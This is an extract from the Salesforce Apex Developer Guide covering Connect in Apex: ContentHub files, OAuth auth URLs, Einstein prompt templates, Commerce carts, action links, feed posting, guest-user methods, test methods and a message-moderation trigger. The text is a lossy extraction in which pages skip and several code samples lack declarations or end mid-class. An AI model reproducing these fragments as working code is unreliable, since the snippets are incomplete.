for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
break;
}
}
399
Apex Developer Guide Using Salesforce Features with Apex
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
Get Previews
Call a method to get all supported preview formats and their respective URLs.
Call getPreviews(repositoryId, repositoryFileId) to get all supported preview formats and their respective URLs
and number of renditions. For each supported preview format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
400
Apex Developer Guide Using Salesforce Features with Apex
}
}
401
Apex Developer Guide Using Salesforce Features with Apex
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'', new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'', new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
402
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: ConnectApi.ContentHubItemInput
Apex Reference Guide: ConnectApi.ContentHubFieldValueInput
403
Apex Developer Guide Using Salesforce Features with Apex
//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);
SEE ALSO:
Apex Reference Guide: ConnectApi.ContentHubItemInput
Apex Reference Guide: ConnectApi.ContentHubFieldValueInput
Apex Reference Guide: ConnectApi.BinaryInput
404
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: ConnectApi.ContentHubItemInput
Apex Reference Guide: ConnectApi.ContentHubFieldValueInput
//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);
SEE ALSO:
Apex Reference Guide: ConnectApi.ContentHubItemInput
Apex Reference Guide: ConnectApi.ContentHubFieldValueInput
Apex Reference Guide: ConnectApi.BinaryInput
405
Apex Developer Guide Using Salesforce Features with Apex
Call getOAuthCredentialAuthUrl(requestBody) to retrieve the URL that a user must visit to begin an authentication
flow, ultimately returning authentication tokens to Salesforce. Accepts input parameters representing a specific external credential and,
optionally, a named principal. Use this method as part of building a customized or branded user interface to help users initiate
authentication.
ConnectApi.OAuthCredentialAuthUrlInput input = new ConnectApi.OAuthCredentialAuthUrlInput();
input.externalCredential = 'MyExternalCredentialDeveloperName';
input.principalType = ConnectApi.CredentialPrincipalType.PerUserPrincipal;
input.principalName = 'MyPrincipal'; // Only required when principalType = NamedPrincipal
ConnectApi.OAuthCredentialAuthUrl output =
ConnectApi.NamedCredentials.getOAuthCredentialAuthUrl(input);
SEE ALSO:
Apex Reference Guide: NamedCredentials Methods
// Create input
ConnectApi.EinsteinPromptTemplateGenerationsInput promptGenerationsInput = new
ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;
406
Apex Developer Guide Using Salesforce Features with Apex
Map<String,ConnectApi.WrappedValue>();
valueMap.put('Input:Account_1', account1WrappedValue);
valueMap.put('Input:Account_2', account2WrappedValue);
valueMap.put('Input:Case_1', case1WrappedValue);
valueMap.put('Input:My_Free_Text1', strWrappedValue);
promptGenerationsInput.inputParams = valueMap;
// Consume resolution
System.debug('Prompt resolution: ' + generationsOutput.prompt);
// Consume response
System.debug('Prompt response: ' + generationsOutput.generations[0].text);
407
Apex Developer Guide Using Salesforce Features with Apex
ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;
valueMap.put('Input:Account', recipientEntityWrappedValue);
valueMap.put('Input:Recipient', recipientEntityWrappedValue);
valueMap.put('Input:Sender', senderEntityWrappedValue);
promptGenerationsInput.inputParams = valueMap;
// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);
valueMap.put('Input:Account', relatedEntityWrappedValue);
408
Apex Developer Guide Using Salesforce Features with Apex
promptGenerationsInput.inputParams = valueMap;
// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);
valueMap.put('Input:Account', recipientEntityWrappedValue);
promptGenerationsInput.inputParams = valueMap;
// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);
Create a Cart and Cart Item with Custom Fields in a Commerce Store
Create a cart with a cart item using custom fields for a buyer or guest user in your Commerce store.
409
Apex Developer Guide Using Salesforce Features with Apex
Custom fields are optional and must be previously defined for the WebCart and CartItem sObjects. See Create Custom Fields. Field-level
security rules from the shopper profile are applied to the WebCart and CartItem custom fields. The rules are applied for registered
shoppers and for the guest shopper profile.
To create a cart with custom fields, call createCart(webstoreId, cartInput). Specify your custom fields using the
customFields property of cartInput. The type for customFields is List<SObject>, where the sObject is a WebCart.
Then, to add an item to the cart, call addItemToCart(webstoreId, effectiveAccountId, activeCartOrId,
cartItemInput, currencyIsoCode). You can specify custom fields using the customFields property of
cartItemInput. Again, the type of customFields is List<SObject>, but the sObject must be a CartItem.
In this scenario we assume that further customization sets a custom field within the Cart Calculate API flow onto the cart item for further
use.
ID webStoreId = '0ZEOL000000063r4AA';
ID accountId = '001OL000002LC0qYAG';
ID productId = '01tOL000000ETzuYAG';
// create a cart
ConnectApi.CartSummary cartSummary = ConnectApi.CommerceCart.createCart(webStoreId,
cartInput);
ID cartId = cartSummary.cartId;
// Given
List<SObject> cartItemList = new List<SObject>();
CartItem cartItem = new CartItem();
cartItem.cartItemCustomNumberField__c = 12.34;
cartItemList.add(cartItem);
// response contains all (accessible) custom fields for which data was set
CartItem cartItemResult = (CartItem)itemResult.customFields[0];
// the value from request (if not changed during flow)
Double valueFromRequest = cartItemResult.cartItemCustomNumberField__c;
// an additional customization value, e.g. set by the cart calculation flow
String valueForCustomization = cartItemResult.additionalCustomField__c;
410
Apex Developer Guide Using Salesforce Features with Apex
Workflow
This feed item contains one action link group with one visible action link, Join.
411
Apex Developer Guide Using Salesforce Features with Apex
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Use these methods to work with action links.
ActionLinks.getActionLinkGroupDefinition(communityId,
actionLinkGroupId)
ActionLinks.getActionLink(communityId, Get information about an action link, including state for the context
actionLinkId) user.
ActionLinks.getActionLinkGroup(communityId, Get information about an action link group including state for the
actionLinkGroupId) context user.
412
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Workflow
This feed item contains one action link group with one visible action link, Join.
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
413
Apex Developer Guide Using Salesforce Features with Apex
Authentication
When you define an action link, specify a URL (actionUrl) and the HTTP headers (headers) required to make a request to that
URL.
If an external resource requires authentication, include the information wherever the resource requires.
If a Salesforce resource requires authentication, you can include OAuth information in the HTTP headers or you can include a bearer
token in the URL.
Salesforce automatically authenticates these resources.
• Relative URLs in templates
• Relative URLs beginning with /services/apexrest when the action link group is instantiated from Apex
Don’t use these resources for sensitive operations.
Security
HTTPS
The action URL in an action link must begin with https:// or be a relative URL that matches one of the rules in the previous
Authentication section.
414
Apex Developer Guide Using Salesforce Features with Apex
Encryption
API details are stored with encryption, and obfuscated for clients.
The actionURL, headers, and requestBody data for action links that are not instantiated from a template are encrypted
with the organization’s encryption key. The Action URL, HTTP Headers, and HTTP Request Body for an action link
template are not encrypted. The binding values used when instantiating an action link group from a template are encrypted with
the organization’s encryption key.
Action Link Templates
Only users with Customize Application user permission can create, edit, delete, and package action link templates in Setup.
Don’t store sensitive information in templates. Use binding variables to add sensitive information when you instantiate the action
link group. After the action link group is instantiated, the values are stored in an encrypted format. See Define Binding Variables in
Design Action Link Templates.
Connected Apps
When creating action links via a connected app, it's a good idea to use a connected app with a consumer key that never leaves your
control. The connected app is used for server-to-server communication and is not compiled into mobile apps that could be decompiled.
Expiration Date
When you define an action link group, specify an expiration date (expirationDate). After that date, the action links in the group
can’t be executed and disappear from the feed. If your action link group definition includes an OAuth token, set the group’s expiration
date to the same value as the expiration date of the OAuth token.
Action link templates use a slightly different mechanism for excluding a user. See Set the Action Link Group Expiration Time in Design
Action Link Templates.
Exclude a User or Specify a User
Use the excludeUserId property of the action link definition input to exclude a single user from executing an action.
Use the userId property of the action link definition input to specify the ID of a user who alone can execute the action. If you
don’t specify a userId property or if you pass null, any user can execute the action. You can’t specify both excludeUserId
and userId for an action link
Action link templates use a slightly different mechanism for excluding a user. See Set Who Can See the Action Link in Design Action
Link Templates.
Read, Modify, or Delete an Action Link Group Definition
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes
potentially sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the
values reflect the state of the context user.
Action link group definitions can contain sensitive information (such as OAuth tokens). For this reason, to read, modify, or delete a
definition, the user must have created the definition or have View All Data permission. In addition, in Connect REST API, the request
must be made via the same connected app that created the definition. In Apex, the call must be made from the same namespace
that created the definition.
Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
The context variables are:
415
Apex Developer Guide Using Salesforce Features with Apex
{!actionLinkGroupId} The ID of the action link group containing the action link the user
executed.
{!communityId} The ID of the site in which the user executed the action link. The
value for your internal org is the empty key
"000000000000000000".
{!communityUrl} The URL of the site in which the user executed the action link. The
value for your internal org is empty string "".
{!orgId} The ID of the org in which the user executed the action link.
Versioning
To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For
example, the actionUrl property in the ConnectApi.ActionLinkDefinitionInputlooks like
https://www.example.com/api/v1/exampleResource.
You can use templates to change the values of the actionUrl, headers, or requestBody properties, even after a template is
distributed in a package. Let’s say you release a new API version that requires new inputs. An admin can change the inputs in the action
link template in Setup and even action links already associated with a feed element use the new inputs. However, you can’t add new
binding variables to a published action link template.
If your API isn’t versioned, you can use the expirationDate property of the
ConnectApi.ActionLinkGroupDefinitionInput to avoid issues due to upgrades or changing functionality in your API.
See Set the Action Link Group Expiration Time in Design Action Link Templates.
Errors
Use the Action Link Diagnostic Information method
(ConnectApi.ActionLinks.getActionLinkDiagnosticInfo(communityId, actionLinkId)) to return
status codes and errors from executing Api action links. Diagnostic info is given only for users who can access the action link.
Localized Labels
Action links use a predefined set of localized labels specified in the labelKey property of the
ConnectApi.ActionLinkDefinitionInput request body and the Label field of an action link template.
For a list of labels, see Actions Links Labels.
416
Apex Developer Guide Using Salesforce Features with Apex
Note: If none of the label key values make sense for your action link, specify a custom label in the Label field of an action link
template and set Label Key to None. However, custom labels aren’t localized.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
As a developer thinking about how to create the action link URL, you come up with these requirements:
1. When a user clicks Join, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room who’s joining.
To dynamically create the action link URLs, you create an action link template in Setup.
417
Apex Developer Guide Using Salesforce Features with Apex
For the first requirement, you create a {!Bindings.roomId} binding variable in the Action URL template field. When the
user clicks OK to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique room ID as
the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.
For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When
an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the
action link and in what context it was invoked. You decide to include a {!userId} context variable in the Action URL so that
when a user clicks the action link in the feed, Salesforce substitutes the user’s ID and the video chat room knows who’s entering.
This is the action link template for the Join action link.
Every action link must be associated with an action link group. The group defines properties shared by all the action links associated
with it. Even if you’re using a single action link (as in this example) it must be associated with a group. The first field of the action link
template is Action Link Group Template, which in this case is Video Chat, which is the action link group template the
action link template is associated with.
418
Apex Developer Guide Using Salesforce Features with Apex
Note: Salesforce Help refers to feed items as posts and bundles as bundled posts.
Capabilities
As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities
provide a consistent way to interact with the feed. Don’t inspect the feed element type to determine which functionality is available for
a feed element. Inspect the capability, which tells you explicitly what’s available. Check for the presence of a capability to determine
what a client can do to a feed element.
The ConnectApi.FeedElement.capabilities property holds a set of capabilities.
A capability includes both an indication that a feature is possible and data associated with that feature. If a capability property exists on
a feed element, that capability is available, even if there isn’t any data associated with the capability yet. For example, if the
chatterLikes capability property exists on a feed element, the context user can like that feed element. If the capability property
doesn’t exist on a feed element, it isn’t possible to like that feed element.
When posting a feed element, specify its characteristics in the ConnectApi.FeedElementInput.capabilities property.
419
Apex Developer Guide Using Salesforce Features with Apex
3. Body (ConnectApi.FeedElement.body)—All feed items have a body. The body can be null, which is the case when
the user doesn’t provide text for the feed item. Because the body can be null, you can’t use it as the default case for rendering
text. Instead, use the ConnectApi.FeedElement.header.text property, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedElement.capabilities)—The visualization of the capabilities. See Capabilities.
How the Salesforce Displays Feed Elements Other Than Feed Items
A client can use the ConnectApi.FeedElement.capabilities property to determine what it can do with a feed element
and how to render the feed element. This section uses bundles as an example of how to render a feed element, but these properties
are available for every feed element. Capabilities allow you to handle all content in the feed consistently.
Note: Bundled posts contain feed-tracked changes and are in record feeds only.
To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements,
click the bundle.
420
Apex Developer Guide Using Salesforce Features with Apex
Feed Types
There are many types of feeds. Each feed type defines a collection of feed elements.
All feed types except Favorites are exposed in the ConnectApi.FeedType enum and passed to one of the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed methods. This example gets the feed elements from the
context user’s news feed and topics feed.
ConnectApi.FeedElementPage newsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
ConnectApi.FeedElementPage topicsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.Topics, '0TOD00000000cld');
421
Apex Developer Guide Using Salesforce Features with Apex
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the context user.
422
Apex Developer Guide Using Salesforce Features with Apex
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the target user.
Post to a group
This code posts a feed item to a group. The subjectId specifies the group ID.
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
The parent property of the newly posted feed item contains the ConnectApi.ChatterGroupSummary of the specified
group.
Post to a record (such as a file or an account)
This code posts a feed item to a record and mentions a group. The subjectId specifies the record ID.
// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
423
Apex Developer Guide Using Salesforce Features with Apex
feedItemInput.subjectId = '001D000000JVwL9';
The parent property of the new feed item depends on the record type specified in subjectId. If the record type is File, the
parent is ConnectApi.FileSummary. If the record type is Group, the parent is ConnectApi.ChatterGroupSummary.
If the record type is User, the parent is ConnectApi.UserSummary. For all other record types, as in this example that uses an
Account, the parent is ConnectApi.RecordSummary.
424
Apex Developer Guide Using Salesforce Features with Apex
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me.
• getFeedElementsFromFeed(communityId, feedType, subjectId)
• getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)
Get feed elements from a Record feed
For subjectId, specify a record ID.
Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce
UI is a record feed.
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, customFilter)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
filter)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
customFilter)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
filter, threadedCommentsCollapsed)
• getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
customFilter, threadedCommentsCollapsed)
SEE ALSO:
Apex Reference Guide: ChatterFavorites Class
Apex Reference Guide: ChatterFeeds Class
Apex Reference Guide: ConnectApi Output Classes
Apex Reference Guide: ConnectApi Input Classes
425
Apex Developer Guide Using Salesforce Features with Apex
Many ConnectApi methods include communityId as the first argument. If you don’t have digital experiences enabled, use
internal or null for this argument.
If you have digital experiences enabled, the communityId argument specifies whether to execute a method in the context of the
default Experience Cloud site (by specifying internal or null) or in the context of a specific site (by specifying an ID). Any entity,
such as a comment or a feed item, referred to by other arguments in the method must be in the specified site. The ID is included in URLs
returned in the output.
Some ConnectApi methods include siteId as an argument. Unlike communityId, if you don’t have digital experiences
enabled, you can’t use these methods. The site ID is included in URLs returned in the output.
Most URLs returned in ConnectApi output objects are Connect REST API resources.
If you specify an ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource
If you specify internal, URLs returned in the output use the same format:
/connect/communities/internal/resource
If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource
Important: If an overload of a method listed here indicates that Chatter is required, you must also enable public access to your
Experience Cloud site to make the method available to guest users. If you don’t enable public access, data retrieved by methods
that require Chatter doesn’t load correctly on public site pages.
• Announcements methods:
– getAnnouncements()
• ChatterFeeds methods:
– getComment()
– getCommentInContext()
– getCommentsForFeedElement()
– getExtensions()
– getFeed()
– getFeedElement()
– getFeedElementBatch()
– getFeedElementPoll()
– getFeedElementsFromFeed()
– getFeedElementsUpdatedSince()
– getFeedWithFeedElements()
426
Apex Developer Guide Using Salesforce Features with Apex
– getLike()
– getLikesForComment()
– getLikesForFeedElement()
– getLinkMetadata()
– getPinnedFeedElementsFromFeed()
– getRelatedPosts()
– getThreadsForFeedComment()
– getVotesForComment()
– getVotesForFeedElement()
– searchFeedElements()
– searchFeedElementsInFeed()
– updatePinnedFeedElements()
• ChatterGroups methods:
– getGroup()
– getGroups()
– getMembers()
– searchGroups()
• ChatterUsers methods:
– getFollowers()
– getFollowings()
– getReputation()
– getUser()
– getUserBatch()
– getUserGroups()
– getUsers()
– searchUserGroupDetails()
– searchUsers()
• CommerceCart methods:
– addItemsToCart()
– addItemToCart()
– applyCartCoupon()
– calculateCart()
– cloneCart()
– copyCartToWishlist()
– createCart()
– deleteCart()
– deleteCartCoupon()
– deleteCartItem()
– deleteInventoryReservation() (developer preview)
427
Apex Developer Guide Using Salesforce Features with Apex
– evaluateShipping()
– evaluateTaxes()
– getCartCoupons()
– getCartItems()
– getCartSummary()
– getOrCreateActiveCartSummary()
– makeCartPrimary()
– setCartMessagesVisibility()
– updateCartItem()
– upsertInventoryReservation() (developer preview)
• CommerceCatalog methods:
– getProduct()
– getProductCategory()
– getProductCategoryChildren()
– getProductCategoryPath()
– getProductChildCollection()
• CommercePromotions methods:
– decreaseRedemption()
– evaluate()
– increaseRedemption()
• CommerceSearch methods:
– getSortRules()
– getSuggestions()
– searchProducts()
• CommerceStorePricing methods:
– getProductPrice()
– getProductPrices()
• Communities methods:
– getCommunity()
• EmployeeProfiles methods:
– getPhoto()
• ExtendedCommerceDelivery methods:
– estimateDeliveryDate()
• Knowledge methods:
– getTopViewedArticlesForTopic()
– getTrendingArticles()
– getTrendingArticlesForTopic()
428
Apex Developer Guide Using Salesforce Features with Apex
• ManagedContent methods:
– getAllContent()
– getAllDeliveryChannels()
– getAllManagedContent()
– getContentByContentKeys()
– getContentByIds()
– getManagedContentByContentKeys()
– getManagedContentByIds()
– getManagedContentByTopics()
– getManagedContentByTopicsAndContentKeys()
– getManagedContentByTopicsAndIds()
• ManagedContentDelivery methods:
– getChannel()
– getChannels()
– getCollectionItemsForChannel()
– getCollectionItemsForSite()
– getManagedContentChannel()
– getManagedContentForChannel()
– getManagedContentForSite()
– getManagedContentsForChannel()
– getManagedContentsForSite()
• ManagedTopics methods:
– getManagedTopic()
– getManagedTopics()
• MarketingIntegration methods:
– submitForm()
• NavigationMenu methods:
– getCommunityNavigationMenu()
• NextBestActions methods:
– executeStrategy()
– setRecommendationReaction()
• Personalization methods:
– getAudience()
– getAudienceBatch()
– getAudiences()
– getTarget()
– getTargetBatch()
429
Apex Developer Guide Using Salesforce Features with Apex
– getTargets()
• Recommendations methods:
– getRecommendationsForUser()
Note: Only article and file recommendations are available to guest users.
• Search methods.
– answer()
– find()
– findAndGroup()
• Sites methods:
– searchSite()
• Topics methods:
– getGroupsRecentlyTalkingAboutTopic()
– getRecentlyTalkingAboutTopicsForGroup()
– getRecentlyTalkingAboutTopicsForUser()
– getRelatedTopics()
– getTopic()
– getTopics()
– getTrendingTopics()
• UserProfiles methods:
– getPhoto()
SEE ALSO:
Salesforce Help: Give Secure Access to Unauthenticated Users with the Guest User Profile
430
Apex Developer Guide Using Salesforce Features with Apex
The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, the ConnectApi.ActorWithId output object contains
properties such as id and url, which contain primitive data types. It also contains a mySubscription property, which contains
a ConnectApi.Reference object.
Note: All Salesforce IDs in ConnectApi output objects are 18 character IDs. Input objects can use 15 character IDs or 18
character IDs.
SEE ALSO:
Apex Reference Guide: ConnectApi Input Classes
Apex Reference Guide: ConnectApi Output Classes
In its reference documentation, every ConnectApi method indicates whether or not it supports Chatter.
SEE ALSO:
Distributing Apex Using Managed Packages
431
Apex Developer Guide Using Salesforce Features with Apex
• Apex REST with @RestResource—serialize Connect in Apex outputs to JSON as return values and deserialize Connect in Apex
inputs from JSON as parameters.
• JavaScript Remoting with @RemoteAction—serialize Connect in Apex outputs to JSON as return values and deserialize Connect
in Apex inputs from JSON as parameters.
Connect in Apex follows these rules for serialization and deserialization.
• Only output objects can be serialized.
• Only top-level input objects can be deserialized.
• Enum values and exceptions cannot be serialized or deserialized.
432
Apex Developer Guide Using Salesforce Features with Apex
Important: The composition of a feed can change between releases. Write your code to handle instances of unknown subclasses.
SEE ALSO:
Apex Reference Guide: ChatterFeeds Class
Apex Reference Guide: ConnectApi.FeedElementCapabilities
Apex Reference Guide: ConnectApi.MessageSegment
Apex Reference Guide: ConnectApi.AbstractRecordView
Wildcards
Use wildcard characters to match text patterns in Connect REST API and Connect in Apex searches.
A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Connect REST
API request:
/chatter/feed-elements?q=chat*
You can specify the following wildcard characters to match text patterns in your search:
Wildcard Description
* Asterisks match zero or more characters at the middle or end of your search term. For example, a search for john*
finds items that start with john, such as, john, johnson, or johnny. A search for mi* meyers finds items with mike
meyers or michael meyers.
If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the \ character).
? Question marks match only one character in the middle or end of your search term. For example, a search for jo?n
finds items with the term john or joan but not jon or johan. You can't use a ? in a lookup search.
433
Apex Developer Guide Using Salesforce Features with Apex
Connect in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The methods
have access to whatever the context user has access to. Connect in Apex doesn’t support the runAs system method.
Most Connect in Apex methods require access to real org data, and fail unless used in test methods marked
@IsTest(SeeAllData=true).
However, some Connect in Apex methods, such as getFeedElementsFromFeed, are not permitted to access org data in tests
and must be used with special test methods that register outputs to be returned in a test context. If a method requires a setTest
method, the requirement is stated in the method’s “Usage” section.
A test method name is the regular method name with a setTest prefix. The test method signature (combination of parameters)
matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.
Using Connect in Apex test methods is similar to testing web services in Apex. First, build the data you expect the method to return. To
build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract
output classes. If you’re testing binary input parameters, use the same instance for creating and executing data.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method
you’re testing.
After you register the test data, run the regular method. When you run the regular method, the registered data is returned.
Important: Use the test method signature that matches the regular method signature. If data wasn't registered with the matching
set of parameters when you call the regular method, you receive an exception.
This example shows a test that constructs an ConnectApi.FeedElementPage and registers it to be returned when
getFeedElementsFromFeed is called with a particular combination of parameters.
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedElementPage testPage = new ConnectApi.FeedElementPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());
testPage.elements = testItemList;
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
434
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Testing Apex
435
Apex Developer Guide Using Salesforce Features with Apex
SentDate DateTime Date and time that the message was sent
This example shows a before insert trigger on ChatterMessage that is used to review each new message. This trigger calls a class method,
moderator.review(), to review each new message before it is inserted.
If a message violates your policy, for example when the message body contains blocklisted words, you can prevent the message from
being sent by calling the Apex addError method. You can call addError to add a custom error message on a field or on the
436
Apex Developer Guide Using Salesforce Features with Apex
entire message. The following snippet shows a portion of the reviewContent method that adds an error to the message Body
field.
if (proposedMsg.contains(nextBlockListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlockListedWord);
problemsFound=true;
break;
}
The following is the full MessageModerator class, which contains methods for reviewing the sender and the content of messages.
Part of the code in this class has been deleted for brevity.
public class MessageModerator {
private Static List<String> blocklistedWords=null;
private Static MessageModerator instance=null;
/**
Overall review includes checking the content of the message,
and validating that the sender is allowed to send messages.
**/
public void review(ChatterMessage theMessage) {
reviewContent(theMessage);
reviewSender(theMessage);
}
/**
This method is used to review the content of the message. If the content
is unacceptable, field level error(s) are added.
**/
public void reviewContent(ChatterMessage theMessage) {
// Forcing to lower case for matching
String proposedMsg=theMessage.Body.toLowerCase();
boolean problemsFound=false; // Assume it's acceptable
// Iterate through the blocklist looking for matches
for (String nextBlockListedWord : blocklistedWords) {
if (proposedMsg.contains(nextBlockListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlockListedWord);
problemsFound=true;
break;
}
}
437
Apex Developer Guide Using Salesforce Features with Apex
/**
Is the sender allowed to send messages in this context?
-- Moderators -- always allowed to send
-- Internal Members -- always allowed to send
-- Site Members -- in general only allowed to send if they have
a sufficient Reputation
-- Site Members -- with insufficient reputation may message the
moderator(s)
**/
public void reviewSender(ChatterMessage theMessage) {
// Are we in a Site Context?
boolean isSiteContext = (theMessage.SendingNetworkId != null);
/**
Enforce a singleton pattern to improve performance
**/
public static MessageModerator getInstance() {
if (instance==null) {
